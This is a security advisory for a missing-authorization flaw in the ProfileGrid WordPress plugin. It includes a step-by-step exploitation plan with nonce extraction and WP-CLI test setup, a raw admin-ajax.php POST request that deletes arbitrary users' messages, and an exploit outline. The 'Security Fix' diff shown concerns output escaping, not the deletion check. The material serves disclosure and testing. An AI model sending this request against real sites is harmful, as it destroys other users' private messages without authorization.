ProfileGrid <= 5.9.8.1 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Message Deletion
Description
The ProfileGrid – User Profiles, Groups and Communities plugin for WordPress is vulnerable to unauthorized message deletion due to a missing capability check on the pg_delete_msg() function in all versions up to, and including, 5.9.8.1. This is due to the function not verifying that the requesting user has permission to delete the targeted message. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary messages belonging to any user by sending a direct request with a valid message ID (mid parameter).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=5.9.8.1What Changed in the Fix
Changes introduced in v5.9.8.2
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-2488 (ProfileGrid Arbitrary Message Deletion) ## 1. Vulnerability Summary The **ProfileGrid** plugin (up to and including version 5.9.8.1) contains a missing authorization vulnerability in the `pg_delete_msg()` function. While the function is registered as an …
Show full research plan
Exploitation Research Plan: CVE-2026-2488 (ProfileGrid Arbitrary Message Deletion)
1. Vulnerability Summary
The ProfileGrid plugin (up to and including version 5.9.8.1) contains a missing authorization vulnerability in the pg_delete_msg() function. While the function is registered as an authenticated AJAX action, it fails to perform a capability check or verify ownership of the message being deleted. This allows any authenticated user (e.g., a Subscriber) to delete arbitrary messages from any conversation across the site by providing a specific message ID (mid).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
pg_delete_msg(inferred from function name and JS logic) - HTTP Method: POST
- Parameters:
action:pg_delete_msgmid: The ID of the message to be deleted (integer)._wpnonceornonce: A valid AJAX nonce.
- Authentication Level: Authenticated (Subscriber+).
- Precondition: The attacker must know or guess the
midof the target message.
3. Code Flow
- Entry Point: An authenticated user sends a POST request to
admin-ajax.phpwith the actionpg_delete_msg. - Hook Registration: The plugin registers the AJAX handler (likely in a class like
PM_MessagingorProfile_Magic_Public) usingadd_action('wp_ajax_pg_delete_msg', 'pg_delete_msg'). - Execution:
- The
pg_delete_msg()function is invoked. - It retrieves the
midparameter from$_POST['mid']. - It likely performs a nonce check (e.g.,
check_ajax_referer('ajax-nonce', 'nonce')). - Vulnerability: It proceeds to call a database deletion method (e.g.,
$wpdb->delete(...)on the messaging table) using the providedmidwithout verifying if thecurrent_user_id()is either the sender or the recipient of that specific message.
- The
- Sink: The message is removed from the database regardless of ownership.
4. Nonce Acquisition Strategy
The plugin localizes the AJAX nonce in public/class-profile-magic-public.php.
Identification
- JS Object:
pm_ajax_object(orpg_msg_objectin messaging contexts). - Nonce Key:
nonce. - Localization Source:
// From public/class-profile-magic-public.php
wp_localize_script(
$this->profile_magic,
'pm_ajax_object',
array(
'ajax_url' => admin_url( 'admin-ajax.php' ),
'nonce' => wp_create_nonce( 'ajax-nonce' ),
)
);
Strategy
- Trigger Loading: The messaging scripts and nonces are enqueued on the User Profile page or pages containing the ProfileGrid messaging shortcode.
- Create Test Page: Use WP-CLI to create a page with the ProfileGrid Messaging shortcode.
wp post create --post_type=page --post_title="Messages" --post_status=publish --post_content='[pm_messages]' - Login & Navigate: Log in as the Subscriber (Attacker) and navigate to the created page.
- Extract: Use
browser_evalto grab the nonce:window.pm_ajax_object?.nonce || window.pg_msg_object?.nonce
5. Exploitation Strategy
Step-by-Step Plan
- Discovery: Use WP-CLI to identify the messaging table and a target message ID belonging to another user.
- Setup: Log in as an attacker (Subscriber).
- Nonce: Obtain the
ajax-noncefrom the frontend using the strategy in Section 4. - Attack Request:
POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=pg_delete_msg&mid=[TARGET_MID]&nonce=[ACQUIRED_NONCE] - Validation: Check the database to confirm the message with
midis gone.
6. Test Data Setup
- Users:
victim_user(Subscriber)attacker_user(Subscriber)
- Message Creation:
- ProfileGrid uses a custom table for messages. Since the source doesn't show the schema, we must find it.
- Run
wp db tables | grep pg_to find the messaging table (likelywp_pg_messages). - Use
wp db queryto insert a dummy message between two non-attacker users.
# Example insertion (table name and columns inferred) wp db query "INSERT INTO wp_pg_messages (sender_id, recipient_id, message) VALUES (2, 3, 'Private Victim Secret')" - Identify Target ID:
wp db query "SELECT mid FROM wp_pg_messages WHERE message = 'Private Victim Secret'"
7. Expected Results
- Response: The server should return a success status (likely
1or a JSON success message). - Database State: A query for the
midshould return zero results. - Frontend State: The message should no longer appear in the "Victim's" inbox/outbox.
8. Verification Steps
- WP-CLI Database Check:
Expected: Empty result.# Query the messaging table for the deleted ID wp db query "SELECT * FROM wp_pg_messages WHERE mid = [TARGET_MID]" - Log Inspection: Check for any "Unauthorized" errors in
wp-content/debug.log(though none are expected as the check is missing).
9. Alternative Approaches
- Parameter Name Guessing: If
midfails, checkpg-messaging.jsor the plugin source for other ID parameters likemessage_idortid(thread ID). - Global Nonce: If
ajax-nonceis rejected, look for a more specific messaging nonce that might be localized withinpg_msg_object. - Direct Hook Execution: If the AJAX action name
pg_delete_msgis incorrect, grep the full plugin directory forwp_ajax_to find the exact registered action:grep -r "wp_ajax_" . | grep "delete"
Summary
The ProfileGrid plugin for WordPress is vulnerable to unauthorized message deletion in versions up to and including 5.9.8.1. The pg_delete_msg() function lacks proper ownership or capability checks, allowing any authenticated user to delete private messages belonging to any other user by simply providing a valid message ID.
Security Fix
@@ -92,7 +92,7 @@ $admin_note = get_post_meta( $id, 'pm_admin_note_content', true ); if ( trim( $admin_note )!='' ) { - $note = '<div class="pg-admin-note">' . $admin_note . '</div>'; + $note = '<div class="pg-admin-note">' . wp_kses_post( $admin_note ) . '</div>'; $note_position = get_post_meta( $id, 'pm_admin_note_position', true ); if ( $note_position=='top' ) { $content = $note . $content; ... (truncated)
Exploit Outline
1. Login to the WordPress site as a Subscriber-level user. 2. Navigate to any page where the ProfileGrid messaging interface is active (e.g., a User Profile) to obtain the localized AJAX nonce (e.g., from the `pg_msg_object.nonce` or `pm_ajax_object.nonce` JavaScript objects). 3. Identify the target message ID (`mid`) of a message to be deleted (this can often be found by inspecting the DOM of one's own messages or via enumeration). 4. Send an authenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: `action=pg_delete_msg`, `mid=[target_mid]`, and the acquired nonce. 5. The server will process the deletion without verifying if the authenticated user is the sender or recipient of the message associated with the provided `mid`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.